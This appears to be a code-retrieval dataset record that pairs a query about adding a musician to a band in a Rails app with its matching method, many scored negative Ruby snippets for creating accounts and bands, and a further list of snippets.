"def newaccount\n\t if params[:commit] == \"Cancel\"\n\t session[:authhash] = nil\n\t session.delete :authhash\n\t redirect_to root_url\n\t else # create account\n\t @newuser = User.find_by_email(session[:authhash][:email]) || User.new(:name => session[:authhash][:name], :email => session[:authhash][:email], :password => Devise.friendly_token[0,20])\n\t @newuser.authentications.build(:provider => session[:authhash][:provider], :uid => session[:authhash][:uid], :uname => session[:authhash][:name], :uemail => session[:authhash][:email])\n\t \n\t if @newuser.save!\n\t # signin existing user\n\t # in the session his user id and the authentication id used for signing in is stored\n\t session[:user] = @newuser.id\n\t session[:authentication_id] = @newuser.authentications.first.id\n\t \n\t flash[:notice] = 'Your account has been created and you have been signed in!'\n\t redirect_to root_url\n\t else\n\t flash[:error] = 'This is embarrassing! There was an error while creating your account from which we were not able to recover.'\n\t redirect_to root_url\n\t end \n\t end\n\t end",
"def new_account(res)\n account = Account.new\n account.new(res)\n end",
"def create_account\n\n end",
"def create_accounts\n end",
"def new\n respond_with(account)\n end",
"def new\n @account = Account.new\n authorize! :create, Account\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end",
"def newaccount\n if params[:commit] == \"Cancel\"\n session[:authhash] = nil\n session.delete :authhash\n redirect_to root_url\n else # create account\n @newuser = User.new\n @newuser.name = session[:authhash][:name]\n @newuser.email = session[:authhash][:email]\n @newuser.services.build(:provider => session[:authhash][:provider], :uid => session[:authhash][:uid], :uname => session[:authhash][:name], :uemail => session[:authhash][:email])\n \n if @newuser.save!\n # signin existing user\n # in the session his user id and the service id used for signing in is stored\n session[:user_id] = @newuser.id\n session[:service_id] = @newuser.services.first.id\n \n flash[:notice] = 'Your account has been created and you have been signed in!'\n\tif session[:authhash][:provider] == 'facebook'\n\t\tredirect_to services_facebook_redirect_path\n\telse\n \tredirect_to services_path\n\tend\n else\n flash[:error] = 'This is embarrassing! There was an error while creating your account from which we were not able to recover.'\n redirect_to root_url\n end \n end\n end",
"def create_paymoney_account\n url = \"\"\n paymoney_account = RestClient.get(url) rescue nil\n\n flash.now[:error] = \"Le compte Paymoney n'a pas pu être créé\"\n\n render :set_paymoney_account\n end",
"def create_basic_account(http, account_name, identity_card)\n begin\n response = http.post 'Create a new account', \"#{SERVER}/accounts\", {\n 'lineId' => 1,\n 'username' => account_name,\n 'password' => account_name,\n 'email' => \"#{account_name}@lvs.co.uk\",\n 'countryCode' => 'IL',\n 'currencyCode' => 'ILS',\n 'online' => true,\n 'status' => 'open',\n 'identityCardNumber'=> identity_card\n }\n account_id = JSON.parse(response.body)['id']\n account_uri = response.headers[:location]\n \n response = http.post 'Create a new transaction', \"#{SERVER}/accounts/#{account_id}/transactions\", {\n 'transactionSubType' => 'CREDIT_CARD',\n 'transactionType' => 'PAYMENTRECEIPT',\n 'accountId' => account_id,\n 'credit' => '10000',\n 'description' => 'Payment via REST API',\n }\n return account_id, account_uri\n end\nend",
"def create\n @account = Account.new(account_params)\n\n if @account.save\n AccountMailer.welcome(@account).deliver_later\n\n if current_user && @account.owner == current_user\n # User is already signed in and owns the account\n redirect_to @account, notice: 'Welcome to your new account!'\n else\n # User is not signed in or specified another user as the account owner\n redirect_to account_created_path\n end\n else\n @plans = Plan.all\n render :new\n end\n end",
"def create\n megam_rest.post_accounts(to_hash)\n end",
"def new\n if (user_limit_reached?)\n redirect_to(:controller => \"waitlist_users\", :action => \"new\")\n else\n @user_account_registration = UserAccountRegistration.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_account_registration }\n end\n end\n end",
"def create\n @band = Band.new(band_params)\n\n respond_to do |format|\n if @band.save\n #Add current user to band as leader\n Agrupation.create!(band_id: @band.id, member_id: @current_musician.id, is_leader: true)\n\n format.html { redirect_to @band, notice: 'Band was successfully created.' }\n format.json { render action: 'show', status: :created, location: @band }\n else\n format.html { render action: 'new' }\n format.json { render json: @band.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_account(site_url, site_email, analyst_email, password)\n reqBody = {:site_url => site_url, :site_email => site_email,\n :analyst_email => analyst_email, :password => password}\n begin\n http_post(accounts_url(), reqBody)\n rescue Exception => e\n puts e.message\n puts e.backtrace.inspect\n end\n\n end",
"def createAPI\n \n idLoL = LOL_WRAPPER.get_summoner_id(params[:accname], params[:region])\n #Find the summoner with the corresponding id and region\n @summoner = LOL_WRAPPER.get_summoner_by_id(idLoL, params[:region])\n \n #Create or update the corresponding account in our database\n if Account.exists?(:idLoL => idLoL)\n @account = Account.find_by_idLoL(idLoL)\n @account.pseudoLoL = @summoner.name\n @account.save\n else\n @account = Account.new(idLoL: idLoL, region: params[:region], pseudoLoL: @summoner.name)\n @account.save\n end\n\n @trackgroup.accounts << @account\n redirect_to(:back)\n \n end",
"def create\n #@broker_acct = BrokerAcct.new(broker_acct_params)\n #@broker_acct.account = current_account\n @acct = BrokerAcct.new(broker_acct_params)\n @acct.email = current_account.email if @acct.email.blank?\n @acct.account = current_account\n\n respond_to do |format|\n if @acct.save\n format.html { render :profile, notice: 'Broker Account was successfully created.' }\n format.json { render :profile, status: :created, location: @acct }\n else\n format.html { render :new }\n format.json { render json: @acct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @account = Account.new(acc_no: 100_000_000 + Random.rand(99_999_999) ,balance: 0.0, state: 0, user_id: current_user[:id])\n respond_to do |format|\n if @account.save\n format.html { redirect_to @current_user, notice: 'Account was successfully requested.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @account = current_user.accounts.build\n @help = \"New Account\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def create\n @account = Account.new(account_params)\n @account.company_id = current_user.companies.find(params[:company_id]).id\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render_with_protection action: 'show', status: :created, location: @account }\n else\n format.html { render action: 'new' }\n format.json { render_with_protection json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def account\n \t\t\tZapi::Models::Account.new\n \tend",
"def create\n @account = Account.new(params[:account])\n @account.owner = current_user\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # Get the credit card details submitted by the form\n @account = Account.new\n authorize @account\n @account.user_id = account_params[:user_id]\n @account.package_id = account_params[:package_id];\n @user = User.find(account_params[:user_id])\n @account.users << @user\n @account.active = FALSE\n\n if @account.save\n render json: {status: :created, account: @account}\n else\n render json: { error: @account.errors, status: :unprocessable_entity }\n end\n end",
"def create\n # authorize @accounts\n @account = Account.new(account_params)\n @account.user_id=current_user.id\n if @account.save\n redirect_to @account, notice: \"Account was successfully created.\" \n else\n render :new\n end\n end",
"def create\n @account = Account.new(account_params.merge({ user_id: @current_user.id }))\n\n if @account.save\n render :show, status: :created, location: @account\n else\n render json: @account.errors, status: :unprocessable_entity\n end\n end",
"def create\n @current_account = @customer.current_accounts.new(current_account_params)\n\n respond_to do |format|\n if @current_account.save\n @accounting_record = CurrentAccount.create_accounting_record(@current_account.detail, @current_account.debit) \n format.html { redirect_to store_customers_path(@customer), notice: 'Current account was successfully created.' }\n format.json { render :show, status: :created, location: @current_account }\n else\n format.html { render :new }\n format.json { render json: @current_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def account(params = {})\n make_get_request('/account', params)\n end",
"def create_account(account_form)\r\n # the base uri for api requests\r\n query_builder = Configuration.base_uri.dup\r\n\r\n # prepare query string for API call\r\n query_builder << '/accounts'\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n 'user-agent' => 'APIMATIC 2.0',\r\n 'accept' => 'application/json',\r\n 'content-type' => 'application/json; charset=utf-8',\r\n 'X-Auth-Token' => Configuration.x_auth_token\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.post query_url, headers: headers, parameters: account_form.to_json\r\n\r\n # Error handling using HTTP status codes\r\n if response.code == 401\r\n raise APIException.new 'You are not authenticated', 401, response.raw_body\r\n elsif response.code == 403\r\n raise APIException.new 'This action needs a valid WSSE header', 403, response.raw_body\r\n elsif response.code == 404\r\n raise APIException.new 'Resource not found', 404, response.raw_body\r\n elsif response.code == 400\r\n raise APIException.new 'Http bad request', 400, response.raw_body\r\n elsif !response.code.between?(200, 206) # [200,206] = HTTP OK\r\n raise APIException.new 'HTTP Response Not OK', response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end",
"def new\n @account = Account.new\n\t\t@account.users.build\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end",
"def create\n @band_user = BandUser.new(band_user_params)\n\n respond_to do |format|\n if @band_user.save\n format.html { redirect_to @band_user, notice: 'Band user was successfully created.' }\n format.json { render :show, status: :created, location: @band_user }\n else\n format.html { render :new }\n format.json { render json: @band_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def account\n\n end",
"def create\n @account = current_user.accounts.new(params[:account])\n\n respond_to do |format|\n if @account.save\n flash[:notice] = 'Account was successfully created.'\n format.html { redirect_to([current_user, @account]) }\n format.xml { render :xml => @account, :status => :created, :location => @account }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def add_bank_account(name:, account_number:, routing_number:, category:, type:, **args)\n data = {\n type: 'ACH-US',\n info: {\n nickname: args[:nickname] || name,\n name_on_account: name,\n account_num: account_number,\n routing_num: routing_number,\n type: category,\n class: type\n },\n extra: {\n supp_id: args[:supp_id]\n }\n }\n nodes.create(data)\n end",
"def new\n @ledger_account = current_user.ledger_accounts.build\n respond_with @ledger_account\n end",
"def new\n @ledger_account = current_user.ledger_accounts.build\n respond_with @ledger_account\n end",
"def accounts\n end",
"def create\n respond_to do |format|\n @account = Account.new(account_params)\n @account.balance= 0\n @account.is_closed = false\n\n if !params[:req].nil?\n\n @request = AccountRequest.find_by_sql([\"SELECT * from account_requests WHERE created = 'f' AND userid=?\", params[:req]])\n\n @request[0].created=true\n @request[0].save\n end\n\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @account = Account.new(account_params)\n @account.zip = Account.random_zip\n @account.user_id = @current_user.id if @current_user\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @breadcrumb = 'create'\n @bank = Bank.new(params[:bank])\n @bank.created_by = current_user.id if !current_user.nil?\n \n respond_to do |format|\n if @bank.save\n format.html { redirect_to @bank, notice: crud_notice('created', @bank) }\n format.json { render json: @bank, status: :created, location: @bank }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n\n @account = Account.new(\n\n )\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end",
"def create_account_for_user\n # # if age.exists?\n # balance = age >= 18 ? 350 : 250\n # create_account(balance: balance)\n # # end\n create_account(balance: 250)\n end",
"def new\n authorize!(:new,current_user) unless current_user.role?:lawfirm_admin or current_user.role?:livia_admin\n @companies = Company.getcompanylist(current_user.company_id)\n end",
"def create\n @account = current_user.accounts.new(account_params)\n if @account.save\n redirect_to @account, notice: 'Account was successfully created.'\n else\n render :new\n end\n end",
"def create\n @account = Account.new(params[:account])\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: t('common.created', model: human_name) }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @account = Account.new(account_params)\n @account.user_created_id = current_user.id\n respond_to do |format|\n if @account.save\n format.html { redirect_to accounts_path, notice: I18n.t('account.controller.create') }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n email = AuthenticationHelper::Auth.instance.getEmailFromJWT( request )\n if ( email == nil )\n render json: :nothing, status: :unprocessable_entity\n return\n end\n\n user = User.find_by(email: email)\n\n if ( user )\n user_id = user[\"id\"]\n balance = account_params[\"balance\"] \n account = Account.new(user_id: user_id, balance: balance)\n\n if account.save\n render json: account, status: :created\n else\n render json: account.errors, status: :unprocessable_entity\n end\n else\n render json: :nothing, status: :unprocessable_entity\n end\n \n end",
"def create\n begin\n # In case they were already logged in and calling login again,\n # destroy current session neccesary to accidentally somehow\n # mix up their credentials.\n session.delete(:current_user_id)\n session.delete(:current_user_horizon_id)\n session.delete(:hip_session_id)\n\n\n borrower = HorizonBorrowerLookup.new.lookup(:barcode => params[:barcode], :pin => params[:pin])\n #::Rails.logger.info(\"Barcode login: #{params[:barcode]}, looked up: #{borrower.inspect}\")\n\n unless ( borrower )\n # Didn't find a borrower at all.\n flash.now[:error] = \"Barcode/PIN not found. Check your entry and try again, or contact the Circulation desk at your home library for help.\"\n render :action => :index\n return\n else\n user = find_existing_account(borrower)\n # If we couldn't find one, we create one.\n user = create_new_account(borrower) unless user\n\n # And fill account with current values from Horizon, in case\n # they've changed.\n user.attributes = {:name => borrower[:name],\n :horizon_borrower_id => borrower[:horizon_borrower_id], :jhed_lid => borrower[:jhed_lid],\n :hopkins_id => borrower[:hopkins_id]}\n\n # Mark their last login\n user.last_login_at = Time.now\n\n user.save!\n\n login!(user)\n\n redirect_to sanitize_redirect_url\n end\n rescue HorizonBorrowerLookup::UnavailableError, ActiveRecord::ActiveRecordError => exception\n log_error(exception)\n flash.now[:error] = exception.message\n render :action => :index\n end\n\n end",
"def new\n \t@account = Account.new\n end",
"def new\n @band = Band.new\n\trespond_with @band\n end",
"def create\n @account = @user.accounts.new(params[:account])\n\n @account.balance = 0\n @account.principal = 0\n @account.allocation_rate = params[:allocation_rate]\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to accounts_path, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(attributes)\n response = JSON.parse(@client.post('bank_accounts', attributes).body)\n Promisepay::BankAccount.new(@client, response['bank_accounts'])\n end",
"def create(attributes)\n response = JSON.parse(@client.post('bank_accounts', attributes).body)\n Promisepay::BankAccount.new(@client, response['bank_accounts'])\n end",
"def new\n\t\t@account = Account.new\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.json { render json: @account }\n\t\tend\n\tend",
"def create\n respond_to do |format|\n create_account = CreateAccount.new(@account, super_and_current_users)\n if create_account.save\n format.html { redirect_to [:proprietor, @account], notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account.cname }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @account = current_user.accounts.new(params[:account])\n \n #respond_to do |format|\n if @account.save\n default_account = Account.count == 1 || (Account.count > 1 && params[:default_account])\n current_user.update_attribute(:default_account, @account.id) if default_account\n\n flash[:notice] = 'Account was successfully created.'\n head :ok\n #format.html { redirect_to(@account) }\n #format.xml { render :xml => @account, :status => :created, :location => @account }\n else\n #format.html { render :action => \"new\" }\n #format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n head :unprocessable_entity\n end\n #end\n end",
"def create_account\n set_user\n set_payer\n set_user_sport\n save_account\n end",
"def create\n @tempacct = Tempacct.new(tempacct_params)\n authorize! :create, @tempacct\n respond_to do |format|\n if @tempacct.save\n #format.html { redirect_to @tempacct, notice: 'Tempacct was successfully created.' }\n format.html { redirect_to session[:tempacct_page], notice: 'Temporary account was successfully created.' }\n format.json { render action: 'show', status: :created, location: @tempacct }\n else\n format.html { render action: 'new' }\n format.json { render json: @tempacct.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @account_head = AccountHead.new(params[:account_head])\n @account_head.company = @company\n @account_head.created_by = session[:current_user_id]\n respond_to do |format|\n if @account_head.save\n Workstream.register_user_action(@company.id, @current_user.id, request.remote_ip,\n \" new #{@account_head.name} for #{@company.name}\", \"created\", @current_user.branch_id)\n format.html { redirect_to(@account_head, :notice => 'Account head was successfully created.') }\n format.xml { render :xml => @account_head, :status => :created, :location => @account_head }\n else\n @menu = 'Settings'\n @page_name = 'Account groups'\n @account_heads = @company.account_heads.by_deleted(false).where(\"name not in ('Current Assets', 'Vendors (Creditors)', 'Customers (Debtors)','Duties and Taxes')\")\n format.html { render :action => \"new\" }\n format.xml { render :xml => @account_head.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n\t\t#\tget business rules for each account type\n\t #if this new user is assigned to an existing group it should be in the params.\n\t\t@group = params[:group].blank? ? Group.new() : Group.find_by_id(params[:group][:id])\n @group.name ||= \"MyGroup\"\n\t\t@user = User.new()\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def new\n @bid = Bid.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bid }\n end\n authorize! :manage, @bid\n end",
"def create\n @bank = Bank.new(bank_params)\n @bank.user_created_id = current_user.id\n respond_to do |format|\n if @bank.save\n format.html { redirect_to banks_path, notice: I18n.t('banks.controller.create') }\n format.json { render :show, status: :created, location: @bank }\n else\n format.html { render :new }\n format.json { render json: @bank.errors, status: :unprocessable_entity }\n end\n end\n end",
"def setup_new_bank_account(bank_code, credentials, country = 'de', options = {})\n data = { \"bank_code\" => bank_code,\n \"country\" => country,\n \"credentials\" => credentials\n }\n data = data.merge(options)\n query_api \"/rest/accounts\", data, \"POST\"\n end",
"def new\n @laccount = Laccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @laccount }\n end\n end",
"def account_create(uid,display_name)\n user_hash = @client.user_create(\"#{uid}\",\"#{display_name}\")\n Rails.logger.debug '> Radosgw: Account create'\n user_json = user_hash.to_json\n storage = Storage.new(STORAGES_BUCKET)\n storage.upload(uid, user_json, 'application/json')\n user_hash\n end",
"def new\n @account = Account.new()\n @account.due_date = Date.today\n @suppliers = Supplier.all(:order=>:name).collect{|c| [c.name, c.id]}\n @aircraft_types = AircraftType.all(:order => :name).collect{|c| [c.name, c.id]}\n\n # @packages = Package.actives.collect{|c| [c.name, c.id]}\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @account }\n end\n end",
"def show\n authorize @accounts\n render json: @account\n end",
"def new\r\n @account = Account.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @account }\r\n end\r\n end",
"def create\n @account = Account.new(account_params)\n\n respond_to do |format|\n if @account.save\n\n if params[:commit] == \"Create and Go To Account\"\n url = account_path(@account)\n else\n url = new_account_path\n end\n\n flash[:notice] = \"Account was successfully created\"\n format.html { redirect_to url }\n format.json { render :show, status: :created, location: @account }\n else\n flash[:error] = \"Unable to save account: #{@account.errors.full_messages.to_sentence}\"\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n logger.debug '> Users: create.'\n all_params = params.merge(new_session)\n\n session[:tour] = true\n\n my_account = Accounts.new\n redirect_to(signin_path, flash: { toastr: 'Hey you!, I know you already. Please Signin.' }) && return if my_account.dup?(all_params[:email])\n\n my_account.create(all_params) do\n org_res = Organizations.new.list(all_params).orgs\n session[:org_id] = org_res[0][:id]\n\n sign_in my_account\n if \"#{Ind.notification.email.password}\" != ''\n UserMailer.welcome(my_account).deliver_now\n end\n redirect_to cockpits_path, format: 'html', flash: { alert: \"Welcome #{my_account.first_name}.\" }\n end\n\n if Ind.backup.enable\n\tbackup_client = BackupUser.new(Ind.backup.host, Ind.backup.username, Ind.backup.password)\n storage_acc_res = backup_client.account_create(params['email'],'displayname_accountid')\n session[:storage_access_key] = storage_acc_res['access_key']\n session[:storage_secret_key] = storage_acc_res['secret_key']\n end\nend",
"def create\n @account = current_user.accounts.build(params[:account])\n respond_to do |format|\n if @account.save\n # add budget RT\n @recurring = Recurring.new\n @recurring.name = \"Monthly Budget\"\n @recurring.account_id = @account.id\n @recurring.transaction_type = \"Budget\"\n @recurring.amount = 0\n @recurring.monthly = true\n @recurring.save\n flash[:notice] = 'Account was successfully created.'\n format.html { redirect_to(user_accounts_path(current_user)) }\n format.xml { render :xml => @account, :status => :created, :location => @account }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @account = current_user.accounts.build params[:account]\n \n account_array = accounts_from_credentials @account.api_email, @account.api_password\n \n accounts = account_array.map do |account_info|\n account = current_user.accounts.build params[:account]\n \n account.api_id = account_info.accountID\n account.api_name = account_info.accountName\n account.api_user_id = account_info.userID\n \n account\n end\n\n respond_to do |format|\n if !accounts.blank? && accounts.map(&:valid?).all? && accounts.map(&:save).all?\n flash[:notice] = \"#{accounts.size == 1 ? 'Account was' : \"#{accounts.size} accounts were\"} successfully created.\"\n format.html { redirect_to(@account) }\n format.xml { render :xml => @account, :status => :created, :location => @account }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @account.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @account = Current.book.accounts.new(account_params)\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to @account, notice: 'Account was successfully created.' }\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_account_balance\n submit GetAccountBalance.new\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end",
"def new\n @account = Account.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end",
"def new\n @account = Account.new(group_id: @group.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end",
"def create\n @admin_accounting_bank_account = Admin::AccountingBankAccount.new(params[:admin_accounting_bank_account])\n\n respond_to do |format|\n if @admin_accounting_bank_account.save\n format.html { redirect_to admin_accounting_bank_accounts_url}\n format.json { render json: @admin_accounting_bank_account, status: :created, location: @admin_accounting_bank_account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @admin_accounting_bank_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def account\n @user = current_user\n add_breadcrumb @user.name, :backend_account_path\n\n render :show\n end",
"def new\n @admin = AdminAccount.find_by_id(session[:admin_id])\n @user_account = UserAccount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_account }\n end\n end",
"def create_account(options)\n form_data = options.merge({ 'action' => 'createaccount' })\n res, dummy = make_api_request(form_data)\n res\n end",
"def new\n \t@account = Account.new\n\t@navkey = \"account_new\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @account }\n end\n end",
"def new\n @band = Band.new\n @client = params[:client_id]\n @from = params[:from]\n if @from\n session[:from] = @from\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @band }\n end\n end",
"def create\n @account = Account.new(params[:account])\n\n respond_to do |format|\n if @account.save\n format.html { redirect_to dashboard_path, notice: 'Account was successfully created.' }\n format.json { render json: @account, status: :created, location: @account }\n else\n format.html { render action: \"new\" }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @baka_account = BakaAccount.new(baka_account_params)\n\n respond_to do |format|\n if @baka_account.save\n format.html { redirect_to @baka_account, notice: 'Baka account was successfully created.' }\n format.json { render :show, status: :created, location: @baka_account }\n else\n format.html { render :new }\n format.json { render json: @baka_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @account = Account.new\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @account }\n end\n end",
"def create\n @b_account = BAccount.new(b_account_params)\n\n respond_to do |format|\n if @b_account.save\n format.html { redirect_to @b_account, notice: 'B account was successfully created.' }\n format.json { render :show, status: :created, location: @b_account }\n else\n format.html { render :new }\n format.json { render json: @b_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @breadcrumb = 'create'\n @bank = Bank.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bank }\n end\n end",
"def new\n @account = current_user.accounts.new\n\n respond_to do |format|\n format.js { render :partial => 'new' }\n end\n end",
"def create\n #@current_account = CurrentAccount.new(current_account_params)\n @current_account = current_user.current_accounts.new(current_account_params)\n\n respond_to do |format|\n if @current_account.save\n format.html { redirect_to @current_account, flash: { success: \"AccountPayable was successfully created.\" } }\n format.json { render :show, status: :created, location: @current_account }\n else\n format.html { render :new }\n format.json { render json: @current_account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @account = current_user.person.blackberry_accounts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @account }\n end\n end",
"def create\n @account = Account.new(account_params)\n @atm_no = params[:atm_no] \n respond_to do |format|\n if @account.save\n format.html { redirect_to atm_mach_path(session[:atm_no])}\n format.json { render :show, status: :created, location: @account }\n else\n format.html { render :new }\n format.json { render json: @account.errors, status: :unprocessable_entity }\n end\n end\n end",
"def getaccount(bitcoinaddress)\n @api.request 'getaccount', bitcoinaddress\n end"
] |
[
"0.6474185",
"0.61988866",
"0.6180345",
"0.6072713",
"0.60690564",
"0.6055859",
"0.60405153",
"0.59998626",
"0.5959238",
"0.5950074",
"0.5933926",
"0.5911778",
"0.5899646",
"0.587501",
"0.5860568",
"0.58499056",
"0.5846739",
"0.58255875",
"0.58225316",
"0.5804499",
"0.5798383",
"0.57826996",
"0.5780296",
"0.5769408",
"0.57673264",
"0.5765128",
"0.5763992",
"0.5752626",
"0.5739745",
"0.5724532",
"0.5715293",
"0.57020575",
"0.5695449",
"0.56899047",
"0.568259",
"0.56696457",
"0.5661416",
"0.5650422",
"0.56426245",
"0.56426245",
"0.5641858",
"0.5631396",
"0.5626583",
"0.56161344",
"0.56159586",
"0.5608724",
"0.5603632",
"0.5603509",
"0.56032526",
"0.56007636",
"0.5597967",
"0.5592352",
"0.55842894",
"0.55803514",
"0.55738705",
"0.5560348",
"0.5560348",
"0.55506676",
"0.5549429",
"0.5548003",
"0.55443794",
"0.5540275",
"0.5536782",
"0.55346453",
"0.553036",
"0.5525346",
"0.5524966",
"0.55204076",
"0.5516998",
"0.5508408",
"0.55010736",
"0.5500836",
"0.5500626",
"0.5499768",
"0.54957116",
"0.5493312",
"0.54921985",
"0.5485613",
"0.5485106",
"0.5485106",
"0.5485106",
"0.5485106",
"0.5485106",
"0.5476058",
"0.54757845",
"0.5475657",
"0.54681",
"0.54603916",
"0.54530954",
"0.5451282",
"0.5451066",
"0.5448461",
"0.5448459",
"0.54451066",
"0.5443801",
"0.54377615",
"0.5434092",
"0.54309744",
"0.5429007",
"0.5421256"
] |
0.60215974
|
7
|
Functions for handling band_musician HABTM management GET /bands/1/addmusician
|
def add_musician
@band = Band.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_band_albums\n @band_album = BandAlbum.find(params[:id])\n end",
"def create\n @band = Band.find(params[:band_id])\n @album = Band.find(params[:band_id]).albums.build(album_params)\n\n respond_to do |format|\n if @album.save\n format.html { redirect_to new_band_album_song_path(@album.band.id, @album.id), notice: 'Album was successfully created.' }\n format.json { render :show, status: :created, location: @album }\n else\n format.html { render :new }\n format.json { render json: @album.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save\n CONNECTION.execute(\"UPDATE music_collections SET band_name = '#{self.band_name}', album_name = '#{self.album_name}',\n media_type_id = #{self.media_type_id}, location_id = #{self.location_id} WHERE id = #{self.id};\")\n return self\n end",
"def index\n @bands = @current_musician.bands\n end",
"def set_musician\n @musician = Musician.find(params[:id])\n end",
"def set_music_group\n @music_group = MusicGroup.find(params[:id])\n end",
"def set_music\n if params[:machine_id]\n begin\n machine = Machine.friendly.find(params[:machine_id])\n rescue\n machine = Machine.find(params[:machine_id])\n end\n @music = machine.musics.find(params[:id])\n else\n @music = Music.find(params[:id])\n end\n end",
"def index\n @band = Band.find(params[:band_id])\n @albums = @band.albums\n end",
"def set_album\n @album = Album.friendly.find(params[:id])\n end",
"def create\n @musician = Musician.new(params[:musician])\n @category = Category.find(params[:musician][:category_id])\n @musician.category = @category\n\n respond_to do |format|\n if @musician.save\n format.html { redirect_to(@musician, :notice => 'Musician was successfully created.') }\n format.xml { render :xml => @musician, :status => :created, :location => @musician }\n else\n @categories = get_category_dropdown\n #@musician.errors[:name] << \"hahhahah\"\n format.html { render :action => \"new\" }\n format.xml { render :xml => @musician.errors, :status => :unprocessable_entity }\n end\n end\n end",
